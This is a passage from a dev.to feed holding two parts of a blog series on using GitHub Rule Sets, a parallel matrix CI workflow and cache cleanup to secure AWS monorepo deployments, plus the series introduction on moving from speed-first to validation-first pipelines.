    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"deletion"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"non_fast_forward"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"bypass_actors"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"actor_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RepositoryRole"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"actor_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Key Insight&lt;/strong&gt;: Rule Sets are more powerful than legacy Branch Protection because one set can cover multiple branches (&lt;code&gt;main&lt;/code&gt; and &lt;code&gt;develop&lt;/code&gt;) with the same rules.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Setting Up Rule Sets
&lt;/h3&gt;

&lt;p&gt;Unlike GitHub Action workflows, Rule Sets require manual setup via the GitHub REST API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apply the rule set using GitHub CLI&lt;/span&gt;
gh api repos/&lt;span class="o"&gt;{&lt;/span&gt;owner&lt;span class="o"&gt;}&lt;/span&gt;/&lt;span class="o"&gt;{&lt;/span&gt;repo&lt;span class="o"&gt;}&lt;/span&gt;/rulesets &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--input&lt;/span&gt; ruleset.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Important considerations:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Create separate rule sets for different responsibilities (core protection vs. review requirements)&lt;/li&gt;
&lt;li&gt;Define Rule Sets as JSON files in your repository for version control&lt;/li&gt;
&lt;li&gt;Allow repository administrators to bypass rules during development (&lt;code&gt;actor_id: 5&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;strict_required_status_checks_policy: true&lt;/code&gt; to ensure checks run on the latest code&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Matrix Strategy: Parallel Validation
&lt;/h3&gt;

&lt;p&gt;The magic happens in the CI workflow using GitHub's Matrix Strategy. Instead of running validations sequentially, each project gets its own parallel job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CI/CD Pipeline&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opened&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;synchronize&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;reopened&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;checks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;setup&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Dependencies&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;

    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout code&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Node.js&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/setup-node@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;node-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;20"&lt;/span&gt;
          &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;npm"&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install all dependencies&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Cache workspace with dependencies&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/cache/save@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
          &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;node-modules-${{ runner.os }}-${{ github.sha }}&lt;/span&gt;

  &lt;span class="na"&gt;ci-checks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CI Checks&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;needs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;setup&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;matrix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;task&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;task&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IaC"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cd&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;iac&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;run&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;test"&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt;
              &lt;span class="nv"&gt;task&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Serverless"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt;
              &lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cd&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;serverless&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;run&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;test"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt;
            &lt;span class="pi"&gt;}&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt;
              &lt;span class="nv"&gt;task&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Webapp"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt;
              &lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cd&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;webapp&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;run&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;test"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt;
            &lt;span class="pi"&gt;}&lt;/span&gt;

    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout code&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Node.js&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/setup-node@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;node-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;20"&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Cache node_modules&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/cache@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
          &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;node-modules-${{ runner.os }}-${{ github.sha }}&lt;/span&gt;
          &lt;span class="na"&gt;restore-keys&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
            &lt;span class="s"&gt;node-modules-${{ runner.os }}-&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ matrix.task }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ matrix.command }}&lt;/span&gt;

  &lt;span class="na"&gt;cleanup&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Cache Cleanup&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;needs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;ci-checks&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always()&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Delete workflow cache&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;gh cache delete "node-modules-${{ runner.os }}-${{ github.sha }}" --repo ${{ github.repository }} || echo "Cache not found or already deleted"&lt;/span&gt;
        &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;GH_TOKEN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How the Matrix Strategy Works
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;A single job installs all the dependencies and saves to the GitHub cache—Remember this a monorepo with NPM Workspaces so one &lt;code&gt;npm ci&lt;/code&gt; is enough for the entire project&lt;/li&gt;
&lt;li&gt;The GitHub matrix spawns 3 parallel jobs

&lt;ul&gt;
&lt;li&gt;Each job restores the cache, runs its command, and reports its status&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The last job removes the cache to prevent accumulation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each project now appears as a separate status check in the PR, making it immediately clear which component has issues:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PR Status Checks:
✅ CI Checks (IaC, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)
✅ CI Checks (Serverless, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)
❌ CI Checks (Webapp, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)  ← Clear failure point
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Cache Management Strategy
&lt;/h3&gt;

&lt;p&gt;GitHub Actions cache doesn't support TTL (time-to-live), so I implemented manual cleanup:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Setup job: Creates cache with unique key node-modules-{OS}-{SHA}&lt;/li&gt;
&lt;li&gt;Matrix jobs: Restore from cache, run in parallel (1-2 minutes each)&lt;/li&gt;
&lt;li&gt;Cleanup job: Deletes cache to prevent accumulation&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ Why cleanup matters: Without cleanup, caches accumulate and can hit GitHub's storage limits. Each PR creates a unique cache that would otherwise persist.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Key Takeaways
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Split CI from CD&lt;/strong&gt;: Validate quickly, deploy only after approval&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use Rule Sets&lt;/strong&gt;: More flexible than legacy branch protection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Matrix Strategy&lt;/strong&gt;: Parallel validation scales with project complexity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache Management&lt;/strong&gt;: Manual cleanup prevents storage issues&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Status Visibility&lt;/strong&gt;: Each project gets its own check for clear feedback&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The next challenge was ensuring that only approved contributors could merge changes—which brings us to our review requirements and code ownership strategy.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Coming Next
&lt;/h2&gt;

&lt;p&gt;We now have parallel validation working, but we need to ensure the right people review the right code. In the next article, we'll implement branch protection rules with designated reviewers and add cost-effective security scanning.&lt;/p&gt;

&lt;p&gt;You'll learn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Setting up review requirements with CODEOWNERS&lt;/li&gt;
&lt;li&gt;Implementing smart security scanning without GitHub's expensive Advanced Security&lt;/li&gt;
&lt;li&gt;Using path filters to target scans only where needed&lt;/li&gt;
&lt;li&gt;Balancing security with development velocity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Continue with &lt;a href="https://dev.to/domderrien/secure-code-review-branch-protection-and-automated-security-scanning-5h9h"&gt;Part 3: Secure Code Review - Branch Protection and Automated Security Scanning →&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>From Chaos to Control: Why We Need Secure Deployment Pipelines</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Wed, 09 Jul 2025 18:49:01 +0000</pubDate>
      <link>https://dev.to/domderrien/from-chaos-to-control-github-rule-sets-and-workflows-for-safer-aws-deployments-3jm0</link>
      <guid>https://dev.to/domderrien/from-chaos-to-control-github-rule-sets-and-workflows-for-safer-aws-deployments-3jm0</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the first article in a 5-part series about implementing GitHub Rule Sets and secure workflows for AWS deployments. We'll go from a speed-first approach to a validation-first pipeline that maintains developer velocity while ensuring security and reliability.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Series Overview
&lt;/h2&gt;

&lt;p&gt;Over the coming articles, we'll build a complete secure deployment pipeline:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;From Chaos to Control&lt;/strong&gt;: Understanding the problem and solution architecture &lt;em&gt;(this article)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Rule Sets&lt;/strong&gt;: Implementing parallel validation with status checks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure Code Review&lt;/strong&gt;: Branch protection and automated security scanning&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Trust Challenge&lt;/strong&gt;: Safe infrastructure previews in forked workflows&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lessons Learned&lt;/strong&gt;: Real-world insights and best practices&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's start with why we needed this transformation in the first place.&lt;/p&gt;




&lt;h2&gt;
  
  
  From Speed to Security: Rethinking Our AWS Pipeline
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Starting Point: A Fast but Fragile System
&lt;/h3&gt;

&lt;p&gt;Over the past few months, I've been building and refining a monorepo with NPM Workspaces that hosts different parts of my AWS-based application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-aws-app/
├── 📁 iac/           ← CDK Infrastructure
├── 📁 serverless/    ← Lambda Functions + Tests
├── 📁 webapp/        ← Vite+Lit SPA
└── 📁 cdn/           ← Static Assets → S3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initially, our pipeline prioritized speed over everything else. The workflow was simple.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; "Move Fast" Approach
┌───────────────┐  ┌─────────────┐  ┌───────┐  ┌───────────────┐  ┌─────────────┐  ┌───────┐
│ PR -&amp;gt; develop │─▶│ Auto Deploy │─▶│Reviews│─▶│   Manual PR   │─▶│ Auto Deploy │─▶│Reviews│
└───────────────┘  │ to develop  │  └───────┘  │develop -&amp;gt; main│  │   to main   │  └───────┘
                   └─────────────┘             └───────────────┘  └─────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Merging a pull request into develop would instantly deploy a new Develop stack—great for rapid feedback and previews. Production deployments were gated behind manual pull requests from &lt;code&gt;develop&lt;/code&gt; to &lt;code&gt;main&lt;/code&gt;. This informal control worked well initially, but &lt;strong&gt;it relied entirely on our team's discipline&lt;/strong&gt; rather than automated validation.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ What went wrong with our speed-first approach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dependencies with unchecked vulnerabilities&lt;/li&gt;
&lt;li&gt;Infrastructure changes without proper review&lt;/li&gt;
&lt;li&gt;No audit trail for changes&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;The final straw came when Dependabot started flooding us with dependency updates. While helpful for staying current, each update triggered automatic deployments without proper validation. We needed structure, not just speed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Vision: Control Without Bottlenecks
&lt;/h3&gt;

&lt;p&gt;I decided to implement GitHub Rule Sets and re-architect the GitHub Actions workflows. The goal was to build confidence in every deployment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Validate First" Approach
┌─────────────┐  ┌─────────┐  ┌───────┐  ┌───────────┐  ┌───────────────┐  ┌─────────┐  ┌───────┐  ┌─────────┐
│PR -&amp;gt; develop│─▶│CI Checks│─▶│Reviews│─▶│ Approved  │─▶│   Manual PR   │─▶│CI Checks│─▶│Reviews│─▶│Approved │
└─────────────┘  └─────────┘  └───────┘  │  Deploy   │  │develop -&amp;gt; main│  └─────────┘  └───────┘  │ deploy  │
                 ┌──────────────┐        │to develop │  └───────────────┘                          │ to main │
                 │ Quality Scan │        └───────────┘                                             └─────────┘
                 └──────────────┘
                 ┌────────────────┐
                 │ AWS Infra Diff │
                 └────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The new system enforces four key validation gates:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;What It Checks&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;✅ Build &amp;amp; Test&lt;/td&gt;
&lt;td&gt;Code compiles, tests pass&lt;/td&gt;
&lt;td&gt;Prevents broken deployments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔍 Security Scan&lt;/td&gt;
&lt;td&gt;npm audit, ESLint rules&lt;/td&gt;
&lt;td&gt;Catches vulnerabilities early&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🧠 Infrastructure Diff&lt;/td&gt;
&lt;td&gt;CDK changes preview&lt;/td&gt;
&lt;td&gt;Transparency before infrastructure changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🛑 Review Gate&lt;/td&gt;
&lt;td&gt;Human approval required&lt;/td&gt;
&lt;td&gt;Maintains code quality and knowledge sharing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Implementation Challenge
&lt;/h3&gt;

&lt;p&gt;Setting up this secure pipeline wasn't trivial—it took ome intensive week to get right. The complexity came from several technical challenges:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Status Checks: Configuring GitHub Rule Sets to recognize parallel validation jobs&lt;/li&gt;
&lt;li&gt;Security Scanning: Balancing thoroughness with cost (avoiding GitHub's $53/user Advanced Security)&lt;/li&gt;
&lt;li&gt;Infrastructure Diffing: Safely running &lt;code&gt;cdk diff&lt;/code&gt; on untrusted pull request code&lt;/li&gt;
&lt;li&gt;Performance: Optimizing workflows to avoid slowing down development&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What's Ahead
&lt;/h3&gt;

&lt;p&gt;In the following sections, I'll walk you through each component of this hardened pipeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
